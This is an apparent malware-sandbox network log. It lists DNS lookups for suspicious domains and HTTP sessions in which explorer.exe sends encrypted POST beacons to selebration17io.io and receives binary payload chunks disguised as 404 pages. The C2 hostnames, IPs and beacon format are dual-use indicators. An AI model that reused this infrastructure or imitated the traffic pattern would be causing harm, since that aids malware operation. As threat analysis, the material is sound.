Feb 5, 2024 10:59:57.976238012 CET	1.1.1.1	192.168.2.4	0x9ad1	Server failure (2)	arrunda.ru	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:00.370320082 CET	1.1.1.1	192.168.2.4	0x300b	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:00.370357037 CET	1.1.1.1	192.168.2.4	0x300b	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:00.370389938 CET	1.1.1.1	192.168.2.4	0x300b	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:14.591759920 CET	1.1.1.1	192.168.2.4	0x5250	Server failure (2)	arrunda.ru	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:14.591813087 CET	1.1.1.1	192.168.2.4	0x5250	Server failure (2)	arrunda.ru	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:16.019556046 CET	1.1.1.1	192.168.2.4	0x90dc	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:16.019592047 CET	1.1.1.1	192.168.2.4	0x90dc	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		142.251.15.93	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		108.177.122.93	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		142.251.15.190	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		74.125.138.190	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		142.251.15.91	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		172.217.215.190	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		108.177.122.190	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		74.125.138.136	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		142.250.9.91	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		172.217.215.136	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		108.177.122.136	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		108.177.122.91	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		142.251.15.136	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		142.250.9.190	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		142.250.9.136	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:24.981498957 CET	1.1.1.1	192.168.2.4	0x7b16	No error (0)	youtube-ui.l.google.com		74.125.138.91	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:25.361658096 CET	1.1.1.1	192.168.2.4	0xd7cf	Server failure (2)	arrunda.ru	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:25.361697912 CET	1.1.1.1	192.168.2.4	0xd7cf	Server failure (2)	arrunda.ru	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:27.432204962 CET	1.1.1.1	192.168.2.4	0xfb9b	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:27.432250977 CET	1.1.1.1	192.168.2.4	0xfb9b	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:27.438534021 CET	1.1.1.1	192.168.2.4	0xb0a9	No error (0)	imap.cogeco.ca		193.122.131.100	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:27.547766924 CET	1.1.1.1	192.168.2.4	0xfb9b	Server failure (2)	soetegem.com	none	none	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:38.999895096 CET	1.1.1.1	192.168.2.4	0xf563	No error (0)	api.steampowered.com		23.4.32.216	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:39.966734886 CET	1.1.1.1	192.168.2.4	0x1654	No error (0)	www.vseinstrumenti.ru	www.vseinstrumenti.ru.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		187.211.34.223	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		201.119.47.10	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		187.134.41.207	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730897903 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		186.147.159.149	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		187.211.34.223	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		201.119.47.10	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		187.134.41.207	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730933905 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		186.147.159.149	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		187.211.34.223	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		185.12.79.25	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		175.120.254.9	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.171.233.126	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.53.230.67	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		196.188.169.138	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		211.40.39.251	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		201.119.47.10	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		187.134.41.207	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:00:52.730969906 CET	1.1.1.1	192.168.2.4	0xeda2	No error (0)	sjyey.com		186.147.159.149	A (IP address)	IN (0x0001)	false
Feb 5, 2024 11:01:03.121331930 CET	1.1.1.1	192.168.2.4	0x32ab	No error (0)	www.mvideo.ru		185.71.67.88	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49735	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:57:19.068062067 CET	284	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://swrdvywsywjd.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 255 Host: selebration17io.io
Feb 5, 2024 10:57:19.068101883 CET	255	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 e2 ba 59 b7 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOYe#48z.wPTeykO4 (*q)k7\|=0>pNVLr+0sYKvy%r&ka6qE<qA..\|xEK99]ZxhC
Feb 5, 2024 10:57:19.325246096 CET	195	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 04 00 00 00 1f 3d 5a e4 0d 0a 30 0d 0a 0d 0a Data Ascii: 8=Z0
Feb 5, 2024 10:57:19.330323935 CET	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xgxitfcgfeb.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 264 Host: selebration17io.io
Feb 5, 2024 10:57:19.330398083 CET	264	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 ba 8a 14 62 cd d6 4f 96 e3 c4 56 ca Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bOV1g3+@C9</}'76oj4#=:.BP33vLN9518z3#,;"1]`*w_Gw`Y)u}
Feb 5, 2024 10:57:19.587965965 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Feb 5, 2024 10:57:19.593369007 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xiluxjjysoynqna.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 156 Host: selebration17io.io
Feb 5, 2024 10:57:19.593415022 CET	156	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a2 19 bb 8a 14 62 cd d6 4f 96 90 ac 20 f9 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO X'=vtDvNE3aM.f9HB ^
Feb 5, 2024 10:57:19.851627111 CET	1286	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:19 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 cd 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 c6 13 dc 19 df 8c ca 70 73 dc 31 bc af 4f ed 7f 40 93 d9 5e 6f 71 00 76 b9 3b 50 fd 96 bf eb bf 3a fc bb c9 27 97 8f c8 d4 60 66 b0 06 bd 89 72 e9 ac 67 f3 40 ee e5 a4 78 ee 09 b5 8f 36 03 cf 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 bd 40 70 b1 5b 23 5c 4a 8a f4 e9 5a 15 21 0b 5a a3 06 93 3a b6 3f c8 01 28 bf 48 15 d7 d9 53 53 fa 79 1a 9e 1d 09 52 2b 05 50 83 7b 7e 55 f7 ff 78 8d 54 db c4 0d 53 13 bf 0e e1 92 24 0a 4f c5 06 a1 ca a1 61 7e de f5 6c b9 18 17 7e 5f af 9a a5 b4 cf a0 c1 bd dd 7a e8 2b 48 19 e2 2c d5 2c 18 1a e5 96 be 35 51 61 9a d4 2e 7c 88 38 c8 48 6b a1 c0 4a 8a 03 fd ec 9e aa 7b ac 87 2f bd 61 81 cf 5c bf ca 34 fd f8 12 8c 35 6c c9 7d 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae cc 95 03 4c 69 56 ad f3 57 3b 2a b9 72 ee cc 23 b2 75 0e 31 79 92 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 63 11 bb d6 af 31 3c 27 d4 69 b7 9f 33 c9 cd 46 e1 4a 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 06 f0 27 38 03 9b c7 9b 4f 06 3d 66 f1 9a 64 b1 1d ee 12 51 8c 74 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 6e a1 54 35 8b fc d3 7a 1b a2 cb 29 37 08 e7 5b 1e 54 aa 1e 26 61 11 ee c3 2c 57 a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 6c 5e ae 43 75 81 7e 90 c7 7d 10 9f 30 1d dc b0 99 37 98 8a cd 70 7a 74 79 ae 6d 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 6b a9 b4 7b 2f 08 64 5a b1 ae 46 1f 30 a0 aa 7a 8f 16 6d e3 cd d2 d9 37 00 12 e5 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 7f dc e5 3e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d b8 28 2b f7 33 f8 d9 4a bb 0a 7f 0d 1e 27 8e 94 26 d8 ef 75 80 78 2b c0 3e af d5 81 f8 e0 52 5d 13 bf f7 a5 0f 4d 30 22 20 ce 1d 89 b0 cd ce 66 5a 9a 8c 5a fe d1 ef 9b fc 11 f4 ae 6f 12 d5 70 da f7 dd 55 62 f1 2e 02 86 7a 0d 02 bc Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGps1O@^oqv;P:'`frg@x6\SMUdT[U@p[#\JZ!Z:?(HSSyR+P{~UxTS$Oa~l~_z+H,,5Qa.\|8HkJ{/a\45l}~qhJO;yLiVW;r#u1yr+Lc1<'i3FJU=hU@Wd{9f'8O=fdQtKk^nT5z)7[T&a,WL\h)l^Cu~}07pztymCbzk{/dZF0zm7 RH:M>Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9*nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=(+3J'&ux+>R]M0" fZZopUb.z
Feb 5, 2024 10:57:19.851650953 CET	1286	IN	Data Raw: 0d ec e0 27 fa 3f b6 a7 9a 87 10 42 1f 35 48 c6 9b e3 da c2 97 8b a3 f5 3f 32 23 ba a9 f5 53 66 87 9b 6b 18 8e 0d d3 f3 bb 00 cb 7a fe a2 b8 78 5c f5 e5 60 d3 f7 8d aa e8 dd b7 cd db e0 ba 0f 41 f3 29 09 3f 32 6c 54 a1 3c 23 5d 67 6c 40 a2 86 0a Data Ascii: '?B5H?2#Sfkzx\`A)?2lT<#]gl@1Uyr2 j&8Pb:eZPpd>AOztz=Q3Pz5g=uU(\o:~r987/ga%n)7`x,% EDZX=
Feb 5, 2024 10:57:19.851669073 CET	1286	IN	Data Raw: 9b 7a e7 e5 73 65 25 d4 12 2f 00 49 d5 98 58 c9 6b 6e 1b 47 f9 8e e2 d1 26 b3 a1 bf 05 58 2b 02 bd d4 4a 7d b5 ed 31 ab f2 7d 59 6e a9 23 19 e8 2d bd f1 95 f8 69 87 f3 e4 72 1b b9 cf 28 3c 7d ec de b9 ad 1a 25 c2 a5 52 bf 85 b4 f2 75 06 d1 e2 11 Data Ascii: zse%/IXknG&X+J}1}Yn#-ir(<}%Ru`~y'nC],YMSik8LtFv!CA,.p?-^9F@=*:?ge[)FHhAL Ls
Feb 5, 2024 10:57:19.851686954 CET	1286	IN	Data Raw: d9 c7 20 88 e7 86 df 35 13 ff 92 b6 3b bd 83 1d dd 28 7f c9 45 f9 76 2b 5f 9c 42 67 2a 00 e4 d0 71 fd d4 58 02 45 96 9a 59 36 50 e1 25 b6 5e 9e 3d e5 8f 10 da be ee 6f 2a d2 ed ed 1e 8e 7c 85 8b 49 e9 e3 9a 77 e6 5a c9 3c d5 3b 59 23 df 3e 1c ee Data Ascii: 5;(Ev+_BgqXEY6P%^=o\|IwZ<;Y#>/O!d"Ua/Jx9Eg2:~N+r.menLA\|uO_{+]^J]'tT(Wy\}I3<,.06N[@>[,[OFXiR
Feb 5, 2024 10:57:19.851845980 CET	1286	IN	Data Raw: 90 e3 01 b5 03 01 11 0a 7a 41 c2 5c 75 11 1d 4b 6e d4 86 c2 84 60 63 8c 16 52 88 1b 7a 57 b0 da df 8f 2e 6a f9 e3 cd 17 18 d4 eb 40 2c fe 59 eb 20 75 fa b6 65 a4 78 29 f4 30 32 3e a4 ab df 38 1b 8e 9a 4a 2e 58 16 25 d0 17 68 28 07 8c 50 5f 3a 5a Data Ascii: zA\uKn`cRzW.j@,Y uex)02>8J.X%h(P_:Z])twp]3<Toz\m4Jxh+[~<x1{,@}z}FPFI)u!\|{EA"0=SU68Rkqz`b1K36jY k\|:i
Feb 5, 2024 10:57:19.851864100 CET	1286	IN	Data Raw: 28 f3 0f 6d 58 ec df dc 30 e7 33 97 b0 6b 7d 6e 1e f5 e5 bb 83 1e 36 80 16 b0 da d2 f0 42 7e c3 bd c2 11 59 aa 3b 6f 8f 47 68 a3 c5 5f 8a 46 ec 9f 07 0e a5 4e db 90 36 99 01 3e bc e6 43 bd 9f ae 03 7d c3 e4 d5 bb 97 c1 3d 33 df 71 75 be 8a 7c 60 Data Ascii: (mX03k}n6B~Y;oGh_FN6>C}=3qu\|`fQ0_`\|\@H;B"V?@7oK^m9g%Op87GQ&!32=1KhfFOme\VgER@PCY'Rqg)/t%
Feb 5, 2024 10:57:19.851880074 CET	1286	IN	Data Raw: 0d 53 e2 cb d5 cf bd 57 bf 37 f5 50 92 95 e6 fc 07 3c 71 50 a5 39 1e b5 fd 2b fb 48 c6 b8 06 50 40 97 88 df f8 5e ef 2f 2f 79 a4 26 3c ec c1 76 34 cd 85 63 13 0d 3e f1 55 12 b8 0f 9a 95 ec 0d b7 d9 43 ea 15 b0 ef 6f 59 da 72 36 8a e9 aa 91 94 4a Data Ascii: SW7P<qP9+HP@^//y&<v4c>UCoYr6Ji}{Z+k~qQ\|iq[qA+fh)JPM~ax8-1GCKOGPj`26HhCK)&S!n<#r\qZbm
Feb 5, 2024 10:57:19.851897955 CET	1286	IN	Data Raw: 05 85 56 7b ca cf 37 fe 46 c4 24 7d 67 0e b6 f2 cd 48 31 ef b7 42 6c ad fa 69 a8 98 b1 b2 e1 ef 6b ca fe d6 ca 10 65 e6 2a 9f e9 42 69 91 73 4b 70 70 3e 3c 54 92 e8 2d 87 9d aa 85 22 26 a1 03 8b 24 6c ea e5 7c 8c b4 20 96 9f 02 ac 63 0c f6 16 63 Data Ascii: V{7F$}gH1Blike*BisKpp><T-"&$l\| cc9KTEaVaXvH\}s]u[8c7sn\|S7rs=<^qcpw!W@xvS'KotU+H1CaH[Nm8J9Sqm
Feb 5, 2024 10:57:21.202084064 CET	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://syppjcwskep.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 194 Host: selebration17io.io
Feb 5, 2024 10:57:21.459670067 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:21 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 